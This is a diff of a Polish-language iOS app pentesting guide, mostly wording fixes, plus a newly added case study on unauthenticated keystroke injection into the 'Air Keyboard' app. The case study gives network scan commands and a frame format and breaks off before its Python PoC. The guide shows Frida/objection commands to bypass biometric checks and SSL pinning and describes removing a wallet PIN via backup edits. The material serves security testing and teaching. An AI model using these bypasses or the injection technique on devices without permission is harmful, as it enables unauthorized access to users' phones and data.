||||
- **Library/Caches/**
|
||||
- Zawiera **półtrwałe pliki cache.**
|
||||
@ -377,9 +377,9 @@ Najczęstszym sposobem na trwałe przechowywanie danych w plikach plist jest uż
|
||||
|
||||
Klasa [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) zapewnia programowy interfejs do interakcji z domyślnym systemem. Domyślny system pozwala aplikacji dostosować swoje zachowanie zgodnie z **preferencjami użytkownika**. Dane zapisane przez `NSUserDefaults` można przeglądać w pakiecie aplikacji. Ta klasa przechowuje **dane** w pliku **plist**, ale jest przeznaczona do użycia z małymi ilościami danych.
|
||||
|
||||
Dane te nie mogą być dłużej bezpośrednio dostępne za pomocą zaufanego komputera, ale można uzyskać do nich dostęp, wykonując **kopię zapasową**.
|
||||
Dane te nie mogą być dłużej bezpośrednio dostępne za pośrednictwem zaufanego komputera, ale można uzyskać do nich dostęp, wykonując **kopię zapasową**.
|
||||
|
||||
Możesz **zrzucić** informacje zapisane za pomocą **`NSUserDefaults`** używając `ios nsuserdefaults get` z objection.
|
||||
Możesz **zrzucić** informacje zapisane za pomocą **`NSUserDefaults`** używając `ios nsuserdefaults get` z narzędzia objection.
|
||||
|
||||
Aby znaleźć wszystkie pliki plist używane przez aplikację, możesz uzyskać dostęp do `/private/var/mobile/Containers/Data/Application/{APPID}` i uruchomić:
|
||||
```bash
|
||||
@ -396,7 +396,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
**W sesji Objection:** Do analizy aplikacji mobilnych, konkretne polecenie pozwala na bezpośrednie konwertowanie plików plist:
|
||||
**W sesji Objection:** Aby analizować aplikacje mobilne, konkretne polecenie pozwala na bezpośrednie konwertowanie plików plist:
|
||||
```bash
|
||||
ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist
|
||||
```
|
||||
@ -444,7 +444,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
|
||||
```
|
||||
### Firebase Real-Time Databases
|
||||
|
||||
Programiści mogą **przechowywać i synchronizować dane** w **bazie danych NoSQL hostowanej w chmurze** za pomocą Firebase Real-Time Databases. Przechowywane w formacie JSON, dane są synchronizowane do wszystkich podłączonych klientów w czasie rzeczywistym.
|
||||
Deweloperzy mogą **przechowywać i synchronizować dane** w **bazie danych NoSQL hostowanej w chmurze** za pomocą Firebase Real-Time Databases. Przechowywane w formacie JSON, dane są synchronizowane do wszystkich podłączonych klientów w czasie rzeczywistym.
|
||||
|
||||
Możesz znaleźć informacje, jak sprawdzić źle skonfigurowane bazy danych Firebase tutaj:
|
||||
|
||||
@ -454,7 +454,7 @@ Możesz znaleźć informacje, jak sprawdzić źle skonfigurowane bazy danych Fir
|
||||
|
||||
### Realm databases
|
||||
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) oferują potężną alternatywę dla przechowywania danych, której nie zapewnia Apple. Domyślnie **przechowują dane w postaci niezaszyfrowanej**, z możliwością szyfrowania poprzez odpowiednią konfigurację.
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) i [Realm Swift](https://realm.io/docs/swift/latest/) oferują potężną alternatywę dla przechowywania danych, której nie zapewnia Apple. Domyślnie **przechowują dane w postaci niezaszyfrowanej**, z możliwością szyfrowania dostępną poprzez odpowiednią konfigurację.
|
||||
|
||||
Bazy danych znajdują się w: `/private/var/mobile/Containers/Data/Application/{APPID}`. Aby zbadać te pliki, można wykorzystać polecenia takie jak:
|
||||
```bash
|
||||
@ -489,8 +489,8 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
|
||||
iOS przechowuje pliki cookie aplikacji w **`Library/Cookies/cookies.binarycookies`** wewnątrz folderu każdej aplikacji. Jednak deweloperzy czasami decydują się na zapisanie ich w **keychain**, ponieważ wspomniany **plik cookie może być dostępny w kopiach zapasowych**.
|
||||
|
||||
Aby sprawdzić plik cookie, możesz użyć [**tego skryptu python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) lub użyć **`ios cookies get`** z objection.\
|
||||
**Możesz także użyć objection, aby** przekonwertować te pliki na format JSON i sprawdzić dane.
|
||||
Aby zbadać plik cookie, możesz użyć [**tego skryptu python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) lub użyć **`ios cookies get`** z objection.\
|
||||
**Możesz także użyć objection, aby** przekonwertować te pliki na format JSON i zbadać dane.
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
[
|
||||
@ -518,11 +518,11 @@ Zaleca się **wyłączenie buforowania tych danych**, ponieważ mogą one zawier
|
||||
|
||||
Ta metoda usunie wszystkie zbuforowane żądania i odpowiedzi z pliku Cache.db.
|
||||
|
||||
2. Jeśli nie musisz korzystać z zalet ciasteczek, zaleca się po prostu użycie właściwości konfiguracyjnej [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) URLSession, która wyłączy zapisywanie ciasteczek i buforów.
|
||||
2. Jeśli nie potrzebujesz korzystać z zalet ciasteczek, zaleca się po prostu użycie właściwości konfiguracyjnej [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) URLSession, która wyłączy zapisywanie ciasteczek i buforów.
|
||||
|
||||
[Dokumentacja Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`Obiekt konfiguracyjny sesji ephemerowej jest podobny do domyślnego obiektu konfiguracyjnego sesji (patrz default), z wyjątkiem tego, że odpowiadający obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym razem, gdy sesja ephemerowa zapisuje dane na dysku, jest wtedy, gdy powiesz jej, aby zapisała zawartość URL do pliku.`
|
||||
`Obiekt konfiguracyjny sesji efemerycznej jest podobny do domyślnego obiektu konfiguracyjnego sesji (patrz domyślny), z tą różnicą, że odpowiadający obiekt sesji nie przechowuje buforów, magazynów poświadczeń ani żadnych danych związanych z sesją na dysku. Zamiast tego dane związane z sesją są przechowywane w RAM. Jedynym razem, gdy sesja efemeryczna zapisuje dane na dysku, jest wtedy, gdy powiesz jej, aby zapisała zawartość URL do pliku.`
|
||||
|
||||
3. Bufor można również wyłączyć, ustawiając politykę buforowania na [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Wyłączy to przechowywanie buforu w jakiejkolwiek formie, zarówno w pamięci, jak i na dysku.
|
||||
|
||||
@ -530,7 +530,7 @@ Ta metoda usunie wszystkie zbuforowane żądania i odpowiedzi z pliku Cache.db.
|
||||
|
||||
Kiedy naciśniesz przycisk home, iOS **robi zrzut ekranu bieżącego ekranu**, aby móc przejść do aplikacji w znacznie płynniejszy sposób. Jednak jeśli na bieżącym ekranie znajdują się **wrażliwe** **dane**, zostaną one **zapisane** w **obrazie** (który **utrzymuje się** **po** **ponownych uruchomieniach**). To są zrzuty ekranu, do których możesz również uzyskać dostęp, podwójnie stukając ekran główny, aby przełączać się między aplikacjami.
|
||||
|
||||
O ile iPhone nie jest zrootowany, **atakujący** musi mieć **dostęp** do **urządzenia** **odblokowanego**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w piaskownicy aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mogą uzyskać dostępu do systemu plików od iOX 7.0).
|
||||
O ile iPhone nie jest zrootowany, **atakujący** musi mieć **dostęp** do **urządzenia** **odblokowanego**, aby zobaczyć te zrzuty ekranu. Domyślnie ostatni zrzut ekranu jest przechowywany w piaskownicy aplikacji w folderze `Library/Caches/Snapshots/` lub `Library/SplashBoard/Snapshots` (zaufane komputery nie mogą uzyskać dostępu do systemu plików od iOS 7.0).
|
||||
|
||||
Jednym ze sposobów zapobiegania temu złemu zachowaniu jest umieszczenie pustego ekranu lub usunięcie wrażliwych danych przed zrobieniem zrzutu ekranu za pomocą funkcji `ApplicationDidEnterBackground()`.
|
||||
|
||||
@ -589,7 +589,7 @@ Od iOS 8.0 użytkownicy mogą instalować rozszerzenia niestandardowych klawiatu
|
||||
**Zalecenia dotyczące bezpieczeństwa:**
|
||||
|
||||
- Zaleca się wyłączenie klawiatur firm trzecich w celu zwiększenia bezpieczeństwa.
|
||||
- Należy być świadomym funkcji automatycznej korekty i podpowiedzi w domyślnej klawiaturze iOS, które mogą przechowywać wrażliwe informacje w plikach pamięci podręcznej znajdujących się w `Library/Keyboard/{locale}-dynamic-text.dat` lub `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Pliki pamięci podręcznej powinny być regularnie sprawdzane pod kątem wrażliwych danych. Zaleca się zresetowanie słownika klawiatury za pomocą **Ustawienia > Ogólne > Resetuj > Zresetuj słownik klawiatury** w celu usunięcia danych z pamięci podręcznej.
|
||||
- Należy być świadomym funkcji automatycznej korekty i podpowiedzi domyślnej klawiatury iOS, które mogą przechowywać wrażliwe informacje w plikach pamięci podręcznej znajdujących się w `Library/Keyboard/{locale}-dynamic-text.dat` lub `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Pliki pamięci podręcznej powinny być regularnie sprawdzane pod kątem wrażliwych danych. Zaleca się zresetowanie słownika klawiatury za pomocą **Ustawienia > Ogólne > Resetuj > Zresetuj słownik klawiatury** w celu usunięcia danych z pamięci podręcznej.
|
||||
- Przechwytywanie ruchu sieciowego może ujawnić, czy niestandardowa klawiatura przesyła naciśnięcia klawiszy zdalnie.
|
||||
|
||||
### **Zapobieganie Pamięci Podręcznej Pola Tekstowego**
|
||||
@ -646,11 +646,11 @@ Włączenie **zainstalowanych aplikacji i ich danych** do kopii zapasowych podno
|
||||
|
||||
### Wykluczanie plików z kopii zapasowych
|
||||
|
||||
Pliki w `Documents/` i `Library/Application Support/` są domyślnie tworzone w kopiach zapasowych. Programiści mogą wykluczyć konkretne pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z `NSURLIsExcludedFromBackupKey`. Ta praktyka jest kluczowa dla ochrony wrażliwych danych przed uwzględnieniem w kopiach zapasowych.
|
||||
Pliki w `Documents/` i `Library/Application Support/` są domyślnie kopiowane. Programiści mogą wykluczyć konkretne pliki lub katalogi z kopii zapasowych, używając `NSURL setResourceValue:forKey:error:` z kluczem `NSURLIsExcludedFromBackupKey`. Praktyka ta jest kluczowa dla ochrony wrażliwych danych przed uwzględnieniem w kopiach zapasowych.
|
||||
|
||||
### Testowanie pod kątem podatności
|
||||
|
||||
Aby ocenić bezpieczeństwo kopii zapasowych aplikacji, zacznij od **utworzenia kopii zapasowej** za pomocą Findera, a następnie zlokalizuj ją, korzystając z wskazówek zawartych w [oficjalnej dokumentacji Apple](https://support.apple.com/en-us/HT204215). Analizuj kopię zapasową pod kątem wrażliwych danych lub konfiguracji, które mogą być zmieniane, aby wpłynąć na zachowanie aplikacji.
|
||||
Aby ocenić bezpieczeństwo kopii zapasowej aplikacji, zacznij od **utworzenia kopii zapasowej** za pomocą Findera, a następnie zlokalizuj ją, korzystając z wskazówek zawartych w [oficjalnej dokumentacji Apple](https://support.apple.com/en-us/HT204215). Analizuj kopię zapasową pod kątem wrażliwych danych lub konfiguracji, które mogą być zmienione, aby wpłynąć na zachowanie aplikacji.
|
||||
|
||||
Wrażliwe informacje można wyszukiwać za pomocą narzędzi wiersza poleceń lub aplikacji takich jak [iMazing](https://imazing.com). W przypadku zaszyfrowanych kopii zapasowych obecność szyfrowania można potwierdzić, sprawdzając klucz "IsEncrypted" w pliku "Manifest.plist" w katalogu głównym kopii zapasowej.
|
||||
```xml
|
||||
@ -669,7 +669,7 @@ Aby poradzić sobie z zaszyfrowanymi kopiami zapasowymi, przydatne mogą być sk
|
||||
|
||||
### Modyfikowanie zachowania aplikacji
|
||||
|
||||
Przykład zmiany zachowania aplikacji poprzez modyfikacje kopii zapasowej można zobaczyć w aplikacji portfela bitcoin [Bither](https://github.com/bither/bither-ios), gdzie PIN blokady interfejsu użytkownika jest przechowywany w `net.bither.plist` pod kluczem **pin_code**. Usunięcie tego klucza z plist i przywrócenie kopii zapasowej usuwa wymóg podawania PIN-u, zapewniając nieograniczony dostęp.
|
||||
Przykład zmiany zachowania aplikacji poprzez modyfikacje kopii zapasowej ilustruje aplikacja portfela bitcoin [Bither](https://github.com/bither/bither-ios), w której PIN blokady interfejsu użytkownika jest przechowywany w `net.bither.plist` pod kluczem **pin_code**. Usunięcie tego klucza z plist i przywrócenie kopii zapasowej usuwa wymóg podawania PIN-u, zapewniając nieograniczony dostęp.
|
||||
|
||||
## Podsumowanie testowania pamięci dla danych wrażliwych
|
||||
|
||||
@ -695,7 +695,7 @@ $ r2 <name_of_your_dump_file>
|
||||
```
|
||||
## **Analiza pamięci w czasie rzeczywistym**
|
||||
|
||||
**r2frida** oferuje potężną alternatywę do inspekcji pamięci aplikacji w czasie rzeczywistym, bez potrzeby posiadania zrzutu pamięci. To narzędzie umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci działającej aplikacji:
|
||||
**r2frida** oferuje potężną alternatywę do inspekcji pamięci aplikacji w czasie rzeczywistym, bez potrzeby zrzutu pamięci. To narzędzie umożliwia wykonywanie poleceń wyszukiwania bezpośrednio w pamięci działającej aplikacji:
|
||||
```bash
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
@ -736,7 +736,7 @@ Aby zintegrować Touch ID/Face ID, deweloperzy mają do wyboru dwa API:
|
||||
|
||||
### Implementacja uwierzytelniania lokalnego
|
||||
|
||||
Aby poprosić użytkowników o uwierzytelnienie, deweloperzy powinni wykorzystać metodę **`evaluatePolicy`** w klasie **`LAContext`**, wybierając między:
|
||||
Aby poprosić użytkowników o uwierzytelnienie, deweloperzy powinni wykorzystać metodę **`evaluatePolicy`** w klasie **`LAContext`**, wybierając pomiędzy:
|
||||
|
||||
- **`deviceOwnerAuthentication`**: Prosi o Touch ID lub kod dostępu do urządzenia, niepowodzenie, jeśli żadne z nich nie jest włączone.
|
||||
- **`deviceOwnerAuthenticationWithBiometrics`**: Wyłącznie prosi o Touch ID.
|
||||
@ -745,11 +745,11 @@ Sukces uwierzytelnienia jest wskazywany przez wartość boolean zwracaną z **`e
|
||||
|
||||
### Uwierzytelnianie lokalne z użyciem Keychain
|
||||
|
||||
Implementacja **uwierzytelniania lokalnego** w aplikacjach iOS polega na użyciu **keychain APIs** do bezpiecznego przechowywania danych tajnych, takich jak tokeny uwierzytelniające. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub uwierzytelnienia biometrycznego, takiego jak Touch ID.
|
||||
Implementacja **uwierzytelniania lokalnego** w aplikacjach iOS polega na użyciu **API keychain** do bezpiecznego przechowywania danych tajnych, takich jak tokeny uwierzytelniające. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub uwierzytelnienia biometrycznego, takiego jak Touch ID.
|
||||
|
||||
Keychain oferuje możliwość ustawienia elementów z atrybutem `SecAccessControl`, który ogranicza dostęp do elementu, dopóki użytkownik nie uwierzytelni się pomyślnie za pomocą Touch ID lub kodu dostępu do urządzenia. Ta funkcja jest kluczowa dla zwiększenia bezpieczeństwa.
|
||||
|
||||
Poniżej znajdują się przykłady kodu w Swift i Objective-C demonstrujące, jak zapisać i odzyskać ciąg z keychain, wykorzystując te funkcje zabezpieczeń. Przykłady pokazują, jak skonfigurować kontrolę dostępu, aby wymagała uwierzytelnienia Touch ID i zapewniała, że dane są dostępne tylko na urządzeniu, na którym zostały skonfigurowane, pod warunkiem, że kod dostępu do urządzenia jest skonfigurowany.
|
||||
Poniżej znajdują się przykłady kodu w Swift i Objective-C demonstrujące, jak zapisać i odzyskać ciąg z keychain, wykorzystując te funkcje zabezpieczeń. Przykłady pokazują, jak skonfigurować kontrolę dostępu, aby wymagać uwierzytelnienia Touch ID i zapewnić, że dane są dostępne tylko na urządzeniu, na którym zostały skonfigurowane, pod warunkiem, że kod dostępu do urządzenia jest skonfigurowany.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -893,7 +893,7 @@ Jeśli używany jest `Security.framework`, tylko drugi zostanie wyświetlony.
|
||||
|
||||
Dzięki **Objection Biometrics Bypass**, znajdującemu się na [tej stronie GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), dostępna jest technika umożliwiająca pokonanie mechanizmu **LocalAuthentication**. Sedno tego podejścia polega na wykorzystaniu **Frida** do manipulacji funkcją `evaluatePolicy`, zapewniając, że zawsze zwraca wynik `True`, niezależnie od rzeczywistego sukcesu uwierzytelnienia. Jest to szczególnie przydatne do omijania wadliwych procesów uwierzytelniania biometrycznego.
|
||||
|
||||
Aby aktywować to ominięcie, używana jest następująca komenda:
|
||||
Aby aktywować to ominięcie, używa się następującego polecenia:
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||||
@ -962,15 +962,15 @@ Aby wstrzyknąć skrypt Frida i obejść uwierzytelnianie biometryczne, używa s
|
||||
```bash
|
||||
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
|
||||
```
|
||||
## Ekspozycja Wrażliwej Funkcjonalności przez IPC
|
||||
## Ekspozycja wrażliwej funkcjonalności przez IPC
|
||||
|
||||
### Niestandardowe Obsługiwacze URI / Deeplinks / Niestandardowe Schematy
|
||||
### Niestandardowe obsługiwacze URI / Deeplinks / Niestandardowe schematy
|
||||
|
||||
{{#ref}}
|
||||
ios-custom-uri-handlers-deeplinks-custom-schemes.md
|
||||
{{#endref}}
|
||||
|
||||
### Uniwersalne Linki
|
||||
### Uniwersalne linki
|
||||
|
||||
{{#ref}}
|
||||
ios-universal-links.md
|
||||
@ -988,7 +988,7 @@ ios-uiactivity-sharing.md
|
||||
ios-uipasteboard.md
|
||||
{{#endref}}
|
||||
|
||||
### Rozszerzenia Aplikacji
|
||||
### Rozszerzenia aplikacji
|
||||
|
||||
{{#ref}}
|
||||
ios-app-extensions.md
|
||||
@ -1000,13 +1000,13 @@ ios-app-extensions.md
|
||||
ios-webviews.md
|
||||
{{#endref}}
|
||||
|
||||
### Serializacja i Kodowanie
|
||||
### Serializacja i kodowanie
|
||||
|
||||
{{#ref}}
|
||||
ios-serialisation-and-encoding.md
|
||||
{{#endref}}
|
||||
|
||||
## Komunikacja Sieciowa
|
||||
## Komunikacja sieciowa
|
||||
|
||||
Ważne jest, aby sprawdzić, czy nie zachodzi żadna komunikacja **bez szyfrowania** oraz czy aplikacja poprawnie **waliduje certyfikat TLS** serwera.\
|
||||
Aby sprawdzić te problemy, możesz użyć proxy, takiego jak **Burp**:
|
||||
@ -1015,12 +1015,12 @@ Aby sprawdzić te problemy, możesz użyć proxy, takiego jak **Burp**:
|
||||
burp-configuration-for-ios.md
|
||||
{{#endref}}
|
||||
|
||||
### Sprawdzenie Nazwy Host
|
||||
### Sprawdzenie nazwy hosta
|
||||
|
||||
Jednym z powszechnych problemów przy walidacji certyfikatu TLS jest sprawdzenie, czy certyfikat został podpisany przez **zaufane** **CA**, ale **nie sprawdzenie**, czy **nazwa hosta** certyfikatu jest nazwą hosta, do której się uzyskuje dostęp.\
|
||||
Aby sprawdzić ten problem za pomocą Burp, po zaufaniu Burp CA na iPhonie, możesz **utworzyć nowy certyfikat z Burp dla innej nazwy hosta** i go użyć. Jeśli aplikacja nadal działa, to coś jest podatne.
|
||||
Aby sprawdzić ten problem za pomocą Burp, po zaufaniu Burp CA na iPhonie, możesz **utworzyć nowy certyfikat z Burp dla innej nazwy hosta** i go użyć. Jeśli aplikacja nadal działa, to znaczy, że coś jest podatne.
|
||||
|
||||
### Pinning Certyfikatu
|
||||
### Pinning certyfikatu
|
||||
|
||||
Jeśli aplikacja poprawnie używa SSL Pinning, to aplikacja będzie działać tylko wtedy, gdy certyfikat jest tym, którego się oczekuje. Podczas testowania aplikacji **może to być problem, ponieważ Burp będzie serwować swój własny certyfikat.**\
|
||||
Aby obejść tę ochronę na urządzeniu z jailbreakiem, możesz zainstalować aplikację [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) lub zainstalować [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||||
@ -1038,25 +1038,31 @@ Możesz również użyć **objection's** `ios sslpinning disable`
|
||||
- **`iTunesMetadata.plist`**: Informacje o aplikacji używane w App Store
|
||||
- **`/Library/*`**: Zawiera preferencje i pamięć podręczną. W **`/Library/Cache/Snapshots/*`** możesz znaleźć zrzut wykonany dla aplikacji przed wysłaniem jej w tle.
|
||||
|
||||
### Hot Patching/Wymuszone Aktualizacje
|
||||
### Hot Patching/Wymuszone aktualizacje
|
||||
|
||||
Deweloperzy mogą zdalnie **natychmiastowo łatać wszystkie instalacje swojej aplikacji** bez konieczności ponownego przesyłania aplikacji do App Store i czekania na jej zatwierdzenie.\
|
||||
W tym celu zazwyczaj używa się [**JSPatch**](https://github.com/bang590/JSPatch)**.** Istnieją jednak również inne opcje, takie jak [Siren](https://github.com/ArtSabintsev/Siren) i [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||||
**To niebezpieczny mechanizm, który może być nadużywany przez złośliwe SDK, dlatego zaleca się sprawdzenie, która metoda jest używana do automatycznych aktualizacji (jeśli w ogóle) i przetestowanie jej.** Możesz spróbować pobrać wcześniejszą wersję aplikacji w tym celu.
|
||||
**To niebezpieczny mechanizm, który może być nadużywany przez złośliwe SDK stron trzecich, dlatego zaleca się sprawdzenie, która metoda jest używana do automatycznych aktualizacji (jeśli w ogóle) i przetestowanie jej.** Możesz spróbować pobrać wcześniejszą wersję aplikacji w tym celu.
|
||||
|
||||
### Strony Trzecie
|
||||
### Strony trzecie
|
||||
|
||||
Znaczącym wyzwaniem związanym z **SDK stron trzecich** jest **brak szczegółowej kontroli** nad ich funkcjonalnościami. Deweloperzy stają przed wyborem: albo zintegrować SDK i zaakceptować wszystkie jego funkcje, w tym potencjalne luki w zabezpieczeniach i obawy dotyczące prywatności, albo całkowicie zrezygnować z jego korzyści. Często deweloperzy nie są w stanie sami łatać luk w tych SDK. Ponadto, gdy SDK zyskują zaufanie w społeczności, niektóre mogą zacząć zawierać złośliwe oprogramowanie.
|
||||
Znaczącym wyzwaniem związanym z **SDK stron trzecich** jest **brak szczegółowej kontroli** nad ich funkcjonalnościami. Deweloperzy stają przed wyborem: albo zintegrować SDK i zaakceptować wszystkie jego funkcje, w tym potencjalne luki w zabezpieczeniach i obawy dotyczące prywatności, albo całkowicie zrezygnować z jego korzyści. Często deweloperzy nie są w stanie sami załatać luk w tych SDK. Ponadto, gdy SDK zyskują zaufanie w społeczności, niektóre mogą zacząć zawierać złośliwe oprogramowanie.
|
||||
|
||||
Usługi świadczone przez SDK stron trzecich mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub ulepszanie doświadczeń użytkowników. Jednak wprowadza to ryzyko, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Ważne jest, aby ograniczyć informacje udostępniane usługom stron trzecich do niezbędnych i upewnić się, że żadne wrażliwe dane nie są ujawniane.
|
||||
|
||||
Implementacja usług stron trzecich zazwyczaj występuje w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu Osobowych Danych Identyfikowalnych (PII).
|
||||
Implementacja usług stron trzecich zazwyczaj występuje w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu Osobowych Danych Identyfikacyjnych (PII).
|
||||
|
||||
Aby zidentyfikować biblioteki używane przez aplikację, można użyć polecenia **`otool`**. To narzędzie powinno być uruchamiane w odniesieniu do aplikacji i każdej używanej przez nią biblioteki współdzielonej, aby odkryć dodatkowe biblioteki.
|
||||
```bash
|
||||
otool -L <application_path>
|
||||
```
|
||||
## **Odnośniki i dodatkowe zasoby**
|
||||
## Ciekawe Luki i Studia Przypadków
|
||||
|
||||
{{#ref}}
|
||||
air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
## **Referencje i Dodatkowe Zasoby**
|
||||
|
||||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||||
- [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
|
||||
@ -1074,13 +1080,13 @@ otool -L <application_path>
|
||||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
|
||||
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
|
||||
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
|
||||
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) kurs IOS za darmo([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||||
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS free course([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||||
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
|
||||
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
|
||||
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
||||
- [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
|
||||
- [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
|
||||
- OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< wersja Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< wersja Swift
|
||||
- OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C version [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift version
|
||||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
|
@ -0,0 +1,92 @@
|
||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
Wersja iOS komercyjnej aplikacji "Air Keyboard" (ID w App Store 6463187929) otwiera **usługę TCP w czystym tekście na porcie 8888**, która akceptuje ramki naciśnięć klawiszy **bez żadnej autoryzacji**.
|
||||
Każde urządzenie w tej samej sieci Wi-Fi może połączyć się z tym portem i wstrzyknąć dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając **pełne przejęcie zdalnej interakcji**.
|
||||
|
||||
Towarzysząca wersja na Androida nasłuchuje na **porcie 55535**. Wykonuje słabe ręczne ustalenie AES-ECB, ale stworzony śmieć powoduje **nieobsługiwany wyjątek w procedurze deszyfrowania OpenSSL**, powodując awarię usługi w tle (**DoS**).
|
||||
|
||||
## 1. Odkrywanie usługi
|
||||
|
||||
Skanuj lokalną sieć i szukaj dwóch stałych portów używanych przez aplikacje:
|
||||
```bash
|
||||
# iOS (input-injection)
|
||||
nmap -p 8888 --open 192.168.1.0/24
|
||||
|
||||
# Android (weakly-authenticated service)
|
||||
nmap -p 55535 --open 192.168.1.0/24
|
||||
```
|
||||
Na urządzeniach z Androidem możesz zidentyfikować odpowiedni pakiet lokalnie:
|
||||
```bash
|
||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||
|
||||
# rooted device / Termux
|
||||
netstat -tulpn | grep LISTEN
|
||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||
```
|
||||
## 2. Format ramki (iOS)
|
||||
|
||||
Binarna zawartość ujawnia następującą logikę analizy wewnątrz rutyny `handleInputFrame()`:
|
||||
```
|
||||
[length (2 bytes little-endian)]
|
||||
[device_id (1 byte)]
|
||||
[payload ASCII keystrokes]
|
||||
```
|
||||
Zadeklarowana długość obejmuje bajt `device_id` **ale nie** sam nagłówek o długości dwóch bajtów.
|
||||
|
||||
## 3. Exploitation PoC
|
||||
```python
|
